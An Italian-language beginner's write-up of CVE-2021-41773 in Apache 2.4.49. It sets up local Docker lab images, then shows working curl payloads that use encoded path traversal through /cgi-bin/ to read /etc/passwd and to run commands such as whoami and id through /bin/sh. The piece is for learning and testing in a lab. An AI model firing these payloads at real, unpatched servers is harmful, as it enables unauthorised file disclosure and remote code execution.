noflowpls/cve-2021-41773CVE-2021-41773
Ciao ragazzi, ieri è stata rilasciata la nuova CVE-2021-41773 per apache versione 2.4.49. Quindi in questo caso, voglio spiegare questa vulnerabilità di apache.
Quindi, penso che vogliate testare questa vulnerabilità su un sito web. Allora ho un posto dove potete fare pratica. Questo è il sito web per scaricare l'immagine docker dell'esempio apache 2.4.49 Docker Image
Nota: ci sono due immagini, with-cgid e no-cgid. Dovete scaricare entrambe le immagini
Prima scaricate la docker image sulla vostra macchina.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
Onestamente, non so come abbia fatto a trovare questa vulnerabilità. Quindi non posso spiegarla completamente. Ma farò del mio meglio per parlare di tutto ciò che ho capito di questa CVE.
Questa CVE è piuttosto interessante perché contiene due vulnerabilità. Sono LFD Local file disclosure e RCE Remote Code Execution. Fantastico!. Quindi, in questo post spiegherò entrambe le vulnerabilità di questa CVE.
Allora, iniziamo con la vulnerabilità Local file disclosure. Se conoscete apache, noterete che cgi-bin (Common Gateway Interface) è il percorso predefinito che definisce un modo per un server web di interagire con programmi esterni che generano contenuti in apache-2.4.49
Ma questo percorso è Vietato per tutti e anche per l'amministratore. Hmm, interessante, vero?
E se conoscete la vulnerabilità Local file disclosure, saprete che la maggior parte delle vulnerabilità LFD avviene in percorsi vietati.
Quindi testiamo semplici payload LFI nel percorso /cgi-bin/.
Ho messo ../../../../../ prima di /etc/paswd.
(Se volete sapere cosa è ../ date un'occhiata a questo articolo del blog Local file disclosure bypass)
Con curl:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd
Con burpsuite:
Come potete vedere, abbiamo ottenuto un errore con questo semplice payload. Con curl abbiamo ricevuto il codice di stato 404 errore Not Found e con Burp abbiamo ricevuto l'errore 400 Bad Request.
Quindi significa che dobbiamo codificare il nostro payload nella codifica URL. Proviamo e vediamo cosa otteniamo.
Quindi ho codificato il . in Url. Nota: . è %2E e anche %2e nella codifica url.
Con curl:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Con Burp:
Sì!. Il nostro payload ora ha funzionato. Possiamo leggere /etc/passwd del sito web.
Quindi spero che ora abbiate capito la vulnerabilità LFD di questa CVE. Continuiamo con la vulnerabilità RCE di questa CVE di apache 2.4.49.
Per spiegare la vulnerabilità RCE di questa CVE, dovete capire alcune nozioni di base su RCE e nozioni di base di linux.
Date un'occhiata a questo articolo del blog per sapere Cos'è RCE
Ah, penso che abbiate pensato che ho parlato male dicendo che servono nozioni di base di linux. No. Non ho detto male perché in realtà ci servono. Quindi iniziamo!
Prima lasciatemi mostrare il payload funzionante e poi spiegherò come funziona.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Con Curl:
Quindi lasciatemi spiegare questo payload.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Come potete vedere il percorso /cgi-bin/ e la codifica .%2e sono gli stessi. Ma ora ci sono altre due opzioni. Sono -d data e /bin/sh /bin/bash. Quindi, lasciatemi spiegare perché dobbiamo inserirle.
Prima di tutto, vogliamo ottenere remote-code-execution, vero?.
Quindi, come sapete nei sistemi basati su linux /bin/bash è la parte principale per eseguire e scrivere comandi e shell. Quindi ci serve la bash per eseguire i nostri comandi nel server web. Date un'occhiata a questo Cos'è Bash in linux.
Ok, ora diciamo che possiamo ottenere /bin/sh. Dobbiamo solo iniettare i nostri comandi. Possiamo inserire la nostra iniezione come data con curl.
Quindi il nostro payload è C|echo;id. Lasciatemi spiegare cosa significa.
Allora C non è niente. Possiamo mettere qualsiasi cosa vogliamo prima del |. come Comdey|.
L'echo;id è solo un trucco di linux. Quindi, vi avevo detto che servono nozioni di base di linux Nozioni di base su Echo
Se mettiamo tutto insieme otteniamo RCE in apache 2.4.49.
Grazie per la lettura ragazzi. Questo è il mio primo writeup per CVE. Perdonatemi se sono stato scarso nello spiegare. E per favore dammi anche dei suggerimenti.
